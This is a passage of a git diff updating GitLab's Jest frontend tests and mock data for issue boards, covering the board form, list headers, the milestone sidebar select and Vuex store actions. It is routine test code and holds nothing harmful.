expect(wrapper.find(GlAlert).exists()).toBe(false);
});
+
+ describe('graphqlBoardLists feature flag enabled', () => {
+ describe('can admin list', () => {
+ beforeEach(() => {
+ createComponent({ graphqlBoardListsEnabled: true, props: { canAdminList: true } });
+ });
+
+ it('renders draggable component', () => {
+ expect(wrapper.find(Draggable).exists()).toBe(true);
+ });
+ });
+
+ describe('can not admin list', () => {
+ beforeEach(() => {
+ createComponent({ graphqlBoardListsEnabled: true, props: { canAdminList: false } });
+ });
+
+ it('renders draggable component', () => {
+ expect(wrapper.find(Draggable).exists()).toBe(false);
+ });
+ });
+ });
+
+ describe('graphqlBoardLists feature flag disabled', () => {
+ beforeEach(() => {
+ createComponent({ graphqlBoardListsEnabled: false });
+ });
+
+ it('does not render draggable component', () => {
+ expect(wrapper.find(Draggable).exists()).toBe(false);
+ });
+ });
});
diff --git a/spec/frontend/boards/components/board_form_spec.js b/spec/frontend/boards/components/board_form_spec.js
index 65d8070192c..3b15cbb6b7e 100644
--- a/spec/frontend/boards/components/board_form_spec.js
+++ b/spec/frontend/boards/components/board_form_spec.js
@@ -1,47 +1,275 @@
-import { mount } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
+import AxiosMockAdapter from 'axios-mock-adapter';
import { TEST_HOST } from 'jest/helpers/test_constants';
+import { GlModal } from '@gitlab/ui';
+import waitForPromises from 'helpers/wait_for_promises';
+
+import axios from '~/lib/utils/axios_utils';
+import { visitUrl } from '~/lib/utils/url_utility';
import boardsStore from '~/boards/stores/boards_store';
-import boardForm from '~/boards/components/board_form.vue';
-import DeprecatedModal from '~/vue_shared/components/deprecated_modal.vue';
+import BoardForm from '~/boards/components/board_form.vue';
+import BoardConfigurationOptions from '~/boards/components/board_configuration_options.vue';
+import createBoardMutation from '~/boards/graphql/board.mutation.graphql';
+
+jest.mock('~/lib/utils/url_utility', () => ({
+ visitUrl: jest.fn().mockName('visitUrlMock'),
+}));
+
+const currentBoard = {
+ id: 1,
+ name: 'test',
+ labels: [],
+ milestone_id: undefined,
+ assignee: {},
+ assignee_id: undefined,
+ weight: null,
+ hide_backlog_list: false,
+ hide_closed_list: false,
+};
+
+const boardDefaults = {
+ id: false,
+ name: '',
+ labels: [],
+ milestone_id: undefined,
+ assignee: {},
+ assignee_id: undefined,
+ weight: null,
+ hide_backlog_list: false,
+ hide_closed_list: false,
+};
+
+const defaultProps = {
+ canAdminBoard: false,
+ labelsPath: `${TEST_HOST}/labels/path`,
+ labelsWebUrl: `${TEST_HOST}/-/labels`,
+ currentBoard,
+};
-describe('board_form.vue', () => {
+const endpoints = {
+ boardsEndpoint: 'test-endpoint',
+};
+
+const mutate = jest.fn().mockResolvedValue({});
+
+describe('BoardForm', () => {
let wrapper;
+ let axiosMock;
- const propsData = {
- canAdminBoard: false,
- labelsPath: `${TEST_HOST}/labels/path`,
- labelsWebUrl: `${TEST_HOST}/-/labels`,
- };
+ const findModal = () => wrapper.find(GlModal);
+ const findModalActionPrimary = () => findModal().props('actionPrimary');
+ const findForm = () => wrapper.find('[data-testid="board-form"]');
+ const findFormWrapper = () => wrapper.find('[data-testid="board-form-wrapper"]');
+ const findDeleteConfirmation = () => wrapper.find('[data-testid="delete-confirmation-message"]');
+ const findConfigurationOptions = () => wrapper.find(BoardConfigurationOptions);
+ const findInput = () => wrapper.find('#board-new-name');
- const findModal = () => wrapper.find(DeprecatedModal);
+ const createComponent = (props, data) => {
+ wrapper = shallowMount(BoardForm, {
+ propsData: { ...defaultProps, ...props },
+ data() {
+ return {
+ ...data,
+ };
+ },
+ provide: {
+ endpoints,
+ },
+ mocks: {
+ $apollo: {
+ mutate,
+ },
+ },
+ attachToDocument: true,
+ });
+ };
beforeEach(() => {
- boardsStore.state.currentPage = 'edit';
- wrapper = mount(boardForm, { propsData });
+ axiosMock = new AxiosMockAdapter(axios);
});
afterEach(() => {
wrapper.destroy();
wrapper = null;
+ axiosMock.restore();
+ boardsStore.state.currentPage = null;
});
- describe('methods', () => {
- describe('cancel', () => {
- it('resets currentPage', () => {
- wrapper.vm.cancel();
- expect(boardsStore.state.currentPage).toBe('');
+ describe('when user can not admin the board', () => {
+ beforeEach(() => {
+ boardsStore.state.currentPage = 'new';
+ createComponent();
+ });
+
+ it('hides modal footer when user is not a board admin', () => {
+ expect(findModal().attributes('hide-footer')).toBeDefined();
+ });
+
+ it('displays board scope title', () => {
+ expect(findModal().attributes('title')).toBe('Board scope');
+ });
+
+ it('does not display a form', () => {
+ expect(findForm().exists()).toBe(false);
+ });
+ });
+
+ describe('when user can admin the board', () => {
+ beforeEach(() => {
+ boardsStore.state.currentPage = 'new';
+ createComponent({ canAdminBoard: true });
+ });
+
+ it('shows modal footer when user is a board admin', () => {
+ expect(findModal().attributes('hide-footer')).toBeUndefined();
+ });
+
+ it('displays a form', () => {
+ expect(findForm().exists()).toBe(true);
+ });
+
+ it('focuses an input field', async () => {
+ expect(document.activeElement).toBe(wrapper.vm.$refs.name);
+ });
+ });
+
+ describe('when creating a new board', () => {
+ beforeEach(() => {
+ boardsStore.state.currentPage = 'new';
+ });
+
+ describe('on non-scoped-board', () => {
+ beforeEach(() => {
+ createComponent({ canAdminBoard: true });
+ });
+
+ it('clears the form', () => {
+ expect(findConfigurationOptions().props('board')).toEqual(boardDefaults);
+ });
+
+ it('shows a correct title about creating a board', () => {
+ expect(findModal().attributes('title')).toBe('Create new board');
+ });
+
+ it('passes correct primary action text and variant', () => {
+ expect(findModalActionPrimary().text).toBe('Create board');
+ expect(findModalActionPrimary().attributes[0].variant).toBe('success');
+ });
+
+ it('does not render delete confirmation message', () => {
+ expect(findDeleteConfirmation().exists()).toBe(false);
+ });
+
+ it('renders form wrapper', () => {
+ expect(findFormWrapper().exists()).toBe(true);
+ });
+
+ it('passes a true isNewForm prop to BoardConfigurationOptions component', () => {
+ expect(findConfigurationOptions().props('isNewForm')).toBe(true);
+ });
+ });
+
+ describe('when submitting a create event', () => {
+ beforeEach(() => {
+ const url = `${endpoints.boardsEndpoint}.json`;
+ axiosMock.onPost(url).reply(200, { id: '2', board_path: 'new path' });
+ });
+
+ it('does not call API if board name is empty', async () => {
+ createComponent({ canAdminBoard: true });
+ findInput().trigger('keyup.enter', { metaKey: true });
+
+ await waitForPromises();
+
+ expect(mutate).not.toHaveBeenCalled();
+ });
+
+ it('calls REST and GraphQL API and redirects to correct page', async () => {
+ createComponent({ canAdminBoard: true });
+
+ findInput().value = 'Test name';
+ findInput().trigger('input');
+ findInput().trigger('keyup.enter', { metaKey: true });
+
+ await waitForPromises();
+
+ expect(axiosMock.history.post[0].data).toBe(
+ JSON.stringify({ board: { ...boardDefaults, name: 'test', label_ids: [''] } }),
+ );
+
+ expect(mutate).toHaveBeenCalledWith({
+ mutation: createBoardMutation,
+ variables: {
+ id: 'gid://gitlab/Board/2',
+ },
+ });
+
+ await waitForPromises();
+ expect(visitUrl).toHaveBeenCalledWith('new path');
});
});
});
- describe('buttons', () => {
- it('cancel button triggers cancel()', () => {
- wrapper.setMethods({ cancel: jest.fn() });
- findModal().vm.$emit('cancel');
+ describe('when editing a board', () => {
+ beforeEach(() => {
+ boardsStore.state.currentPage = 'edit';
+ });
+
+ describe('on non-scoped-board', () => {
+ beforeEach(() => {
+ createComponent({ canAdminBoard: true });
+ });
+
+ it('clears the form', () => {
+ expect(findConfigurationOptions().props('board')).toEqual(currentBoard);
+ });
+
+ it('shows a correct title about creating a board', () => {
+ expect(findModal().attributes('title')).toBe('Edit board');
+ });
+
+ it('passes correct primary action text and variant', () => {
+ expect(findModalActionPrimary().text).toBe('Save changes');
+ expect(findModalActionPrimary().attributes[0].variant).toBe('info');
+ });
+
+ it('does not render delete confirmation message', () => {
+ expect(findDeleteConfirmation().exists()).toBe(false);
+ });
+
+ it('renders form wrapper', () => {
+ expect(findFormWrapper().exists()).toBe(true);
+ });
+
+ it('passes a false isNewForm prop to BoardConfigurationOptions component', () => {
+ expect(findConfigurationOptions().props('isNewForm')).toBe(false);
+ });
+ });
+
+ describe('when submitting an update event', () => {
+ beforeEach(() => {
+ const url = endpoints.boardsEndpoint;
+ axiosMock.onPut(url).reply(200, { board_path: 'new path' });
+ });
+
+ it('calls REST and GraphQL API with correct parameters', async () => {
+ createComponent({ canAdminBoard: true });
+
+ findInput().trigger('keyup.enter', { metaKey: true });
+
+ await waitForPromises();
+
+ expect(axiosMock.history.put[0].data).toBe(
+ JSON.stringify({ board: { ...currentBoard, label_ids: [''] } }),
+ );
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.vm.cancel).toHaveBeenCalled();
+ expect(mutate).toHaveBeenCalledWith({
+ mutation: createBoardMutation,
+ variables: {
+ id: `gid://gitlab/Board/${currentBoard.id}`,
+ },
+ });
});
});
});
diff --git a/spec/frontend/boards/components/board_list_header_new_spec.js b/spec/frontend/boards/components/board_list_header_new_spec.js
index 80786d82620..7428dfae83f 100644
--- a/spec/frontend/boards/components/board_list_header_new_spec.js
+++ b/spec/frontend/boards/components/board_list_header_new_spec.js
@@ -1,9 +1,8 @@
import Vuex from 'vuex';
import { shallowMount, createLocalVue } from '@vue/test-utils';
-import { listObj } from 'jest/boards/mock_data';
+import { mockLabelList } from 'jest/boards/mock_data';
import BoardListHeader from '~/boards/components/board_list_header_new.vue';
-import List from '~/boards/models/list';
import { ListType } from '~/boards/constants';
const localVue = createLocalVue();
@@ -32,21 +31,19 @@ describe('Board List Header Component', () => {
const boardId = '1';
const listMock = {
- ...listObj,
- list_type: listType,
+ ...mockLabelList,
+ listType,
collapsed,
};
if (listType === ListType.assignee) {
delete listMock.label;
- listMock.user = {};
+ listMock.assignee = {};
}
- const list = new List({ ...listMock, doNotFetchIssues: true });
-
if (withLocalStorage) {
localStorage.setItem(
- `boards.${boardId}.${list.type}.${list.id}.expanded`,
+ `boards.${boardId}.${listMock.listType}.${listMock.id}.expanded`,
(!collapsed).toString(),
);
}
@@ -62,7 +59,7 @@ describe('Board List Header Component', () => {
localVue,
propsData: {
disabled: false,
- list,
+ list: listMock,
},
provide: {
boardId,
@@ -72,14 +69,15 @@ describe('Board List Header Component', () => {
});
};
- const isExpanded = () => wrapper.vm.list.isExpanded;
- const isCollapsed = () => !isExpanded();
+ const isCollapsed = () => wrapper.vm.list.collapsed;
+ const isExpanded = () => !isCollapsed;
const findAddIssueButton = () => wrapper.find({ ref: 'newIssueBtn' });
+ const findTitle = () => wrapper.find('.board-title');
const findCaret = () => wrapper.find('.board-title-caret');
describe('Add issue button', () => {
- const hasNoAddButton = [ListType.promotion, ListType.blank, ListType.closed];
+ const hasNoAddButton = [ListType.closed];
const hasAddButton = [ListType.backlog, ListType.label, ListType.milestone, ListType.assignee];
it.each(hasNoAddButton)('does not render when List Type is `%s`', listType => {
@@ -125,7 +123,7 @@ describe('Board List Header Component', () => {
it('collapses expanded Column when clicking the collapse icon', async () => {
createComponent();
- expect(isExpanded()).toBe(true);
+ expect(isCollapsed()).toBe(false);
findCaret().vm.$emit('click');
@@ -166,4 +164,24 @@ describe('Board List Header Component', () => {
expect(localStorage.getItem(`${wrapper.vm.uniqueKey}.expanded`)).toBe(String(isExpanded()));
});
});
+
+ describe('user can drag', () => {
+ const cannotDragList = [ListType.backlog, ListType.closed];
+ const canDragList = [ListType.label, ListType.milestone, ListType.assignee];
+
+ it.each(cannotDragList)(
+ 'does not have user-can-drag-class so user cannot drag list',
+ listType => {
+ createComponent({ listType });
+
+ expect(findTitle().classes()).not.toContain('user-can-drag');
+ },
+ );
+
+ it.each(canDragList)('has user-can-drag-class so user can drag list', listType => {
+ createComponent({ listType });
+
+ expect(findTitle().classes()).toContain('user-can-drag');
+ });
+ });
});
diff --git a/spec/frontend/boards/components/board_list_header_spec.js b/spec/frontend/boards/components/board_list_header_spec.js
index 2439c347bf0..656a503bb86 100644
--- a/spec/frontend/boards/components/board_list_header_spec.js
+++ b/spec/frontend/boards/components/board_list_header_spec.js
@@ -73,7 +73,7 @@ describe('Board List Header Component', () => {
const findCaret = () => wrapper.find('.board-title-caret');
describe('Add issue button', () => {
- const hasNoAddButton = [ListType.promotion, ListType.blank, ListType.closed];
+ const hasNoAddButton = [ListType.closed];
const hasAddButton = [ListType.backlog, ListType.label, ListType.milestone, ListType.assignee];
it.each(hasNoAddButton)('does not render when List Type is `%s`', listType => {
diff --git a/spec/frontend/boards/components/board_new_issue_new_spec.js b/spec/frontend/boards/components/board_new_issue_new_spec.js
index af4bad65121..ee1c4f31cf0 100644
--- a/spec/frontend/boards/components/board_new_issue_new_spec.js
+++ b/spec/frontend/boards/components/board_new_issue_new_spec.js
@@ -3,7 +3,7 @@ import { shallowMount, createLocalVue } from '@vue/test-utils';
import BoardNewIssue from '~/boards/components/board_new_issue_new.vue';
import '~/boards/models/list';
-import { mockListsWithModel } from '../mock_data';
+import { mockList } from '../mock_data';
const localVue = createLocalVue();
@@ -37,7 +37,7 @@ describe('Issue boards new issue form', () => {
wrapper = shallowMount(BoardNewIssue, {
propsData: {
disabled: false,
- list: mockListsWithModel[0],
+ list: mockList,
},
store,
localVue,
diff --git a/spec/frontend/boards/components/boards_selector_spec.js b/spec/frontend/boards/components/boards_selector_spec.js
index 2b7605a3f7c..db3c8c22950 100644
--- a/spec/frontend/boards/components/boards_selector_spec.js
+++ b/spec/frontend/boards/components/boards_selector_spec.js
@@ -1,6 +1,6 @@
import { nextTick } from 'vue';
import { mount } from '@vue/test-utils';
-import { GlDeprecatedDropdown, GlLoadingIcon } from '@gitlab/ui';
+import { GlDropdown, GlLoadingIcon, GlDropdownSectionHeader } from '@gitlab/ui';
import { TEST_HOST } from 'spec/test_constants';
import BoardsSelector from '~/boards/components/boards_selector.vue';
import boardsStore from '~/boards/stores/boards_store';
@@ -34,8 +34,9 @@ describe('BoardsSelector', () => {
};
const getDropdownItems = () => wrapper.findAll('.js-dropdown-item');
- const getDropdownHeaders = () => wrapper.findAll('.dropdown-bold-header');
+ const getDropdownHeaders = () => wrapper.findAll(GlDropdownSectionHeader);
const getLoadingIcon = () => wrapper.find(GlLoadingIcon);
+ const findDropdown = () => wrapper.find(GlDropdown);
beforeEach(() => {
const $apollo = {
@@ -103,7 +104,7 @@ describe('BoardsSelector', () => {
});
// Emits gl-dropdown show event to simulate the dropdown is opened at initialization time
- wrapper.find(GlDeprecatedDropdown).vm.$emit('show');
+ findDropdown().vm.$emit('show');
});
afterEach(() => {
@@ -125,7 +126,10 @@ describe('BoardsSelector', () => {
});
describe('loaded', () => {
- beforeEach(() => {
+ beforeEach(async () => {
+ await wrapper.setData({
+ loadingBoards: false,
+ });
return Promise.all([allBoardsResponse, recentBoardsResponse]).then(() => nextTick());
});
diff --git a/spec/frontend/boards/components/sidebar/board_sidebar_milestone_select_spec.js b/spec/frontend/boards/components/sidebar/board_sidebar_milestone_select_spec.js
new file mode 100644
index 00000000000..74d88d9f34c
--- /dev/null
+++ b/spec/frontend/boards/components/sidebar/board_sidebar_milestone_select_spec.js
@@ -0,0 +1,152 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlLoadingIcon } from '@gitlab/ui';
+import { mockMilestone as TEST_MILESTONE } from 'jest/boards/mock_data';
+import BoardSidebarMilestoneSelect from '~/boards/components/sidebar/board_sidebar_milestone_select.vue';
+import BoardEditableItem from '~/boards/components/sidebar/board_editable_item.vue';
+import { createStore } from '~/boards/stores';
+import createFlash from '~/flash';
+
+const TEST_ISSUE = { id: 'gid://gitlab/Issue/1', iid: 9, referencePath: 'h/b#2' };
+
+jest.mock('~/flash');
+
+describe('~/boards/components/sidebar/board_sidebar_milestone_select.vue', () => {
+ let wrapper;
+ let store;
+
+ afterEach(() => {
+ wrapper.destroy();
+ store = null;
+ wrapper = null;
+ });
+
+ const createWrapper = ({ milestone = null } = {}) => {
+ store = createStore();
+ store.state.issues = { [TEST_ISSUE.id]: { ...TEST_ISSUE, milestone } };
+ store.state.activeId = TEST_ISSUE.id;
+
+ wrapper = shallowMount(BoardSidebarMilestoneSelect, {
+ store,
+ provide: {
+ canUpdate: true,
+ },
+ data: () => ({
+ milestones: [TEST_MILESTONE],
+ }),
+ stubs: {
+ 'board-editable-item': BoardEditableItem,
+ },
+ mocks: {
+ $apollo: {
+ loading: false,
+ },
+ },
+ });
+ };
+
+ const findCollapsed = () => wrapper.find('[data-testid="collapsed-content"]');
+ const findLoader = () => wrapper.find(GlLoadingIcon);
+ const findDropdownItem = () => wrapper.find('[data-testid="milestone-item"]');
+ const findUnsetMilestoneItem = () => wrapper.find('[data-testid="no-milestone-item"]');
+ const findNoMilestonesFoundItem = () => wrapper.find('[data-testid="no-milestones-found"]');
+
+ it('renders "None" when no milestone is selected', () => {
+ createWrapper();
+
+ expect(findCollapsed().text()).toBe('None');
+ });
+
+ it('renders milestone title when set', () => {
+ createWrapper({ milestone: TEST_MILESTONE });
+
+ expect(findCollapsed().text()).toContain(TEST_MILESTONE.title);
+ });
+
+ it('shows loader while Apollo is loading', async () => {
+ createWrapper({ milestone: TEST_MILESTONE });
+
+ expect(findLoader().exists()).toBe(false);
+
+ wrapper.vm.$apollo.loading = true;
+ await wrapper.vm.$nextTick();
+
+ expect(findLoader().exists()).toBe(true);
+ });
+
+ it('shows message when error or no milestones found', async () => {
+ createWrapper();
+
+ wrapper.setData({ milestones: [] });
+ await wrapper.vm.$nextTick();
+
+ expect(findNoMilestonesFoundItem().text()).toBe('No milestones found');
+ });
+
+ describe('when milestone is selected', () => {
+ beforeEach(async () => {
+ createWrapper();
+
+ jest.spyOn(wrapper.vm, 'setActiveIssueMilestone').mockImplementation(() => {
+ store.state.issues[TEST_ISSUE.id].milestone = TEST_MILESTONE;
+ });
+ findDropdownItem().vm.$emit('click');
+ await wrapper.vm.$nextTick();
+ });
+
+ it('collapses sidebar and renders selected milestone', () => {
+ expect(findCollapsed().isVisible()).toBe(true);
+ expect(findCollapsed().text()).toContain(TEST_MILESTONE.title);
+ });
+
+ it('commits change to the server', () => {
+ expect(wrapper.vm.setActiveIssueMilestone).toHaveBeenCalledWith({
+ milestoneId: TEST_MILESTONE.id,
+ projectPath: 'h/b',
+ });
+ });
+ });
+
+ describe('when milestone is set to "None"', () => {
+ beforeEach(async () => {
+ createWrapper({ milestone: TEST_MILESTONE });
+
+ jest.spyOn(wrapper.vm, 'setActiveIssueMilestone').mockImplementation(() => {
+ store.state.issues[TEST_ISSUE.id].milestone = null;
+ });
+ findUnsetMilestoneItem().vm.$emit('click');
+ await wrapper.vm.$nextTick();
+ });
+
+ it('collapses sidebar and renders "None"', () => {
+ expect(findCollapsed().isVisible()).toBe(true);
+ expect(findCollapsed().text()).toBe('None');
+ });
+
+ it('commits change to the server', () => {
+ expect(wrapper.vm.setActiveIssueMilestone).toHaveBeenCalledWith({
+ milestoneId: null,
+ projectPath: 'h/b',
+ });
+ });
+ });
+
+ describe('when the mutation fails', () => {
+ const testMilestone = { id: '1', title: 'Former milestone' };
+
+ beforeEach(async () => {
+ createWrapper({ milestone: testMilestone });
+
+ jest.spyOn(wrapper.vm, 'setActiveIssueMilestone').mockImplementation(() => {
+ throw new Error(['failed mutation']);
+ });
+ findDropdownItem().vm.$emit('click');
+ await wrapper.vm.$nextTick();
+ });
+
+ it('collapses sidebar and renders former milestone', () => {
+ expect(findCollapsed().isVisible()).toBe(true);
+ expect(findCollapsed().text()).toContain(testMilestone.title);
+ expect(createFlash).toHaveBeenCalled();
+ });
+ });
+});
diff --git a/spec/frontend/boards/list_spec.js b/spec/frontend/boards/list_spec.js
index 9c3a6e66ef4..b731bb6e474 100644
--- a/spec/frontend/boards/list_spec.js
+++ b/spec/frontend/boards/list_spec.js
@@ -184,7 +184,6 @@ describe('List model', () => {
}),
);
list.issues = [];
- global.gon.features = { boardsWithSwimlanes: false };
});
it('adds new issue to top of list', done => {
diff --git a/spec/frontend/boards/mock_data.js b/spec/frontend/boards/mock_data.js
index 58f67231d55..ea6c52c6830 100644
--- a/spec/frontend/boards/mock_data.js
+++ b/spec/frontend/boards/mock_data.js
@@ -1,10 +1,8 @@
-/* global ListIssue */
/* global List */
import Vue from 'vue';
import { keyBy } from 'lodash';
import '~/boards/models/list';
-import '~/boards/models/issue';
import boardsStore from '~/boards/stores/boards_store';
export const boardObj = {
@@ -99,7 +97,7 @@ export const mockMilestone = {
due_date: '2019-12-31',
};
-const assignees = [
+export const assignees = [
{
id: 'gid://gitlab/User/2',
username: 'angelina.herman',
@@ -184,8 +182,6 @@ export const mockActiveIssue = {
emailsDisabled: false,
};
-export const mockIssueWithModel = new ListIssue(mockIssue);
-
export const mockIssue2 = {
id: 'gid://gitlab/Issue/437',
iid: 28,
@@ -203,8 +199,6 @@ export const mockIssue2 = {
},
};
-export const mockIssue2WithModel = new ListIssue(mockIssue2);
-
export const mockIssue3 = {
id: 'gid://gitlab/Issue/438',
iid: 29,
@@ -288,38 +282,39 @@ export const setMockEndpoints = (opts = {}) => {
});
};
-export const mockLists = [
- {
- id: 'gid://gitlab/List/1',
- title: 'Backlog',
- position: null,
- listType: 'backlog',
- collapsed: false,
- label: null,
- assignee: null,
- milestone: null,
- loading: false,
- issuesSize: 1,
- },
- {
- id: 'gid://gitlab/List/2',
+export const mockList = {
+ id: 'gid://gitlab/List/1',
+ title: 'Backlog',
+ position: null,
+ listType: 'backlog',
+ collapsed: false,
+ label: null,
+ assignee: null,
+ milestone: null,
+ loading: false,
+ issuesCount: 1,
+};
+
+export const mockLabelList = {
+ id: 'gid://gitlab/List/2',
+ title: 'To Do',
+ position: 0,
+ listType: 'label',
+ collapsed: false,
+ label: {
+ id: 'gid://gitlab/GroupLabel/121',
title: 'To Do',
- position: 0,
- listType: 'label',
- collapsed: false,
- label: {
- id: 'gid://gitlab/GroupLabel/121',
- title: 'To Do',
- color: '#F0AD4E',
- textColor: '#FFFFFF',
- description: null,
- },
- assignee: null,
- milestone: null,
- loading: false,
- issuesSize: 0,
+ color: '#F0AD4E',
+ textColor: '#FFFFFF',
+ description: null,
},
-];
+ assignee: null,
+ milestone: null,
+ loading: false,
+ issuesCount: 0,
+};
+
+export const mockLists = [mockList, mockLabelList];
export const mockListsById = keyBy(mockLists, 'id');
diff --git a/spec/frontend/boards/stores/actions_spec.js b/spec/frontend/boards/stores/actions_spec.js
index 4d529580a7a..0cae6456887 100644
--- a/spec/frontend/boards/stores/actions_spec.js
+++ b/spec/frontend/boards/stores/actions_spec.js
@@ -1,23 +1,25 @@
import testAction from 'helpers/vuex_action_helper';
import {
- mockListsWithModel,
mockLists,
mockListsById,
mockIssue,
- mockIssueWithModel,
- mockIssue2WithModel,
+ mockIssue2,
rawIssue,
mockIssues,
+ mockMilestone,
labels,
mockActiveIssue,
} from '../mock_data';
import actions, { gqlClient } from '~/boards/stores/actions';
import * as types from '~/boards/stores/mutation_types';
import { inactiveId } from '~/boards/constants';
-import issueMoveListMutation from '~/boards/queries/issue_move_list.mutation.graphql';
-import destroyBoardListMutation from '~/boards/queries/board_list_destroy.mutation.graphql';
+import issueMoveListMutation from '~/boards/graphql/issue_move_list.mutation.graphql';
+import destroyBoardListMutation from '~/boards/graphql/board_list_destroy.mutation.graphql';
import updateAssignees from '~/vue_shared/components/sidebar/queries/updateAssignees.mutation.graphql';
import { fullBoardId, formatListIssues, formatBoardLists } from '~/boards/boards_util';
+import createFlash from '~/flash';
+
+jest.mock('~/flash');
const expectNotImplemented = action => {
it('is not implemented', () => {
@@ -29,6 +31,10 @@ const expectNotImplemented = action => {
// subgroups when the movIssue action is called.
const getProjectPath = path => path.split('#')[0];
+beforeEach(() => {
+ window.gon = { features: {} };
+});
+
describe('setInitialBoardData', () => {
it('sets data object', () => {
const mockData = {
@@ -65,6 +71,24 @@ describe('setFilters', () => {
});
});
+describe('performSearch', () => {
+ it('should dispatch setFilters action', done => {
+ testAction(actions.performSearch, {}, {}, [], [{ type: 'setFilters', payload: {} }], done);
+ });
+
+ it('should dispatch setFilters, fetchLists and resetIssues action when graphqlBoardLists FF is on', done => {
+ window.gon = { features: { graphqlBoardLists: true } };
+ testAction(
+ actions.performSearch,
+ {},
+ {},
+ [],
+ [{ type: 'setFilters', payload: {} }, { type: 'fetchLists' }, { type: 'resetIssues' }],
+ done,
+ );
+ });
+});
+
describe('setActiveId', () => {
it('should commit mutation SET_ACTIVE_ID', done => {
const state = {
@@ -120,7 +144,7 @@ describe('fetchLists', () => {
payload: formattedLists,
},
],
- [{ type: 'generateDefaultLists' }],
+ [],
done,
);
});
@@ -150,37 +174,12 @@ describe('fetchLists', () => {
payload: formattedLists,
},
],
- [{ type: 'createList', payload: { backlog: true } }, { type: 'generateDefaultLists' }],
+ [{ type: 'createList', payload: { backlog: true } }],
done,
);
});
});
-describe('generateDefaultLists', () => {
- let store;
- beforeEach(() => {
- const state = {
- endpoints: { fullPath: 'gitlab-org', boardId: '1' },
- boardType: 'group',
- disabled: false,
- boardLists: [{ type: 'backlog' }, { type: 'closed' }],
- };
-
- store = {
- commit: jest.fn(),
- dispatch: jest.fn(() => Promise.resolve()),
- state,
- };
- });
-
- it('should dispatch fetchLabels', () => {
- return actions.generateDefaultLists(store).then(() => {
- expect(store.dispatch.mock.calls[0]).toEqual(['fetchLabels', 'to do']);
- expect(store.dispatch.mock.calls[1]).toEqual(['fetchLabels', 'doing']);
- });
- });
-});
-
describe('createList', () => {
it('should dispatch addList action when creating backlog list', done => {
const backlogList = {
@@ -251,8 +250,8 @@ describe('createList', () => {
describe('moveList', () => {
it('should commit MOVE_LIST mutation and dispatch updateList action', done => {
const initialBoardListsState = {
- 'gid://gitlab/List/1': mockListsWithModel[0],
- 'gid://gitlab/List/2': mockListsWithModel[1],
+ 'gid://gitlab/List/1': mockLists[0],
+ 'gid://gitlab/List/2': mockLists[1],
};
const state = {
@@ -274,7 +273,7 @@ describe('moveList', () => {
[
{
type: types.MOVE_LIST,
- payload: { movedList: mockListsWithModel[0], listAtNewIndex: mockListsWithModel[1] },
+ payload: { movedList: mockLists[0], listAtNewIndex: mockLists[1] },
},
],
[
@@ -290,6 +289,33 @@ describe('moveList', () => {
done,
);
});
+
+ it('should not commit MOVE_LIST or dispatch updateList if listId and replacedListId are the same', () => {
+ const initialBoardListsState = {
+ 'gid://gitlab/List/1': mockLists[0],
+ 'gid://gitlab/List/2': mockLists[1],
+ };
+
+ const state = {
+ endpoints: { fullPath: 'gitlab-org', boardId: '1' },
+ boardType: 'group',
+ disabled: false,
+ boardLists: initialBoardListsState,
+ };
+
+ testAction(
+ actions.moveList,
+ {
+ listId: 'gid://gitlab/List/1',
+ replacedListId: 'gid://gitlab/List/1',
+ newIndex: 1,
+ adjustmentValue: 1,
+ },
+ state,
+ [],
+ [],
+ );
+ });
});
describe('updateList', () => {
@@ -499,15 +525,15 @@ describe('moveIssue', () => {
};
const issues = {
- '436': mockIssueWithModel,
- '437': mockIssue2WithModel,
+ '436': mockIssue,
+ '437': mockIssue2,
};
const state = {
endpoints: { fullPath: 'gitlab-org', boardId: '1' },
boardType: 'group',
disabled: false,
- boardLists: mockListsWithModel,
+ boardLists: mockLists,
issuesByListId: listIssues,
issues,
};
@@ -536,7 +562,7 @@ describe('moveIssue', () => {
{
type: types.MOVE_ISSUE,
payload: {
- originalIssue: mockIssueWithModel,
+ originalIssue: mockIssue,
fromListId: 'gid://gitlab/List/1',
toListId: 'gid://gitlab/List/2',
},
@@ -611,7 +637,7 @@ describe('moveIssue', () => {
{
type: types.MOVE_ISSUE,
payload: {
- originalIssue: mockIssueWithModel,
+ originalIssue: mockIssue,
fromListId: 'gid://gitlab/List/1',
toListId: 'gid://gitlab/List/2',
},
@@ -619,7 +645,7 @@ describe('moveIssue', () => {
{
type: types.MOVE_ISSUE_FAILURE,
payload: {
- originalIssue: mockIssueWithModel,
+ originalIssue: mockIssue,
fromListId: 'gid://gitlab/List/1',
toListId: 'gid://gitlab/List/2',
originalIndex: 0,
@@ -639,38 +665,59 @@ describe('setAssignees', () => {
const refPath = `${projectPath}#3`;
const iid = '1';
- beforeEach(() => {
- jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
- data: { issueSetAssignees: { issue: { assignees: { nodes: [{ ...node }] } } } },
+ describe('when succeeds', () => {
+ beforeEach(() => {
+ jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
+ data: { issueSetAssignees: { issue: { assignees: { nodes: [{ ...node }] } } } },
+ });
});
- });
- it('calls mutate with the correct values', async () => {
- await actions.setAssignees(
- { commit: () => {}, getters: { activeIssue: { iid, referencePath: refPath } } },
- [name],
- );
+ it('calls mutate with the correct values', async () => {
+ await actions.setAssignees(
+ { commit: () => {}, getters: { activeIssue: { iid, referencePath: refPath } } },
+ [name],
+ );
+
+ expect(gqlClient.mutate).toHaveBeenCalledWith({
+ mutation: updateAssignees,
+ variables: { iid, assigneeUsernames: [name], projectPath },
+ });
+ });
- expect(gqlClient.mutate).toHaveBeenCalledWith({
- mutation: updateAssignees,
- variables: { iid, assigneeUsernames: [name], projectPath },
+ it('calls the correct mutation with the correct values', done => {
+ testAction(
+ actions.setAssignees,
+ {},
+ { activeIssue: { iid, referencePath: refPath }, commit: () => {} },
+ [
+ { type: types.SET_ASSIGNEE_LOADING, payload: true },
+ {
+ type: 'UPDATE_ISSUE_BY_ID',
+ payload: { prop: 'assignees', issueId: undefined, value: [node] },
+ },
+ { type: types.SET_ASSIGNEE_LOADING, payload: false },
+ ],
+ [],
+ done,
+ );
});
});
- it('calls the correct mutation with the correct values', done => {
- testAction(
- actions.setAssignees,
- {},
- { activeIssue: { iid, referencePath: refPath }, commit: () => {} },
- [
- {
- type: 'UPDATE_ISSUE_BY_ID',
- payload: { prop: 'assignees', issueId: undefined, value: [node] },
- },
- ],
- [],
- done,
- );
+ describe('when fails', () => {
+ beforeEach(() => {
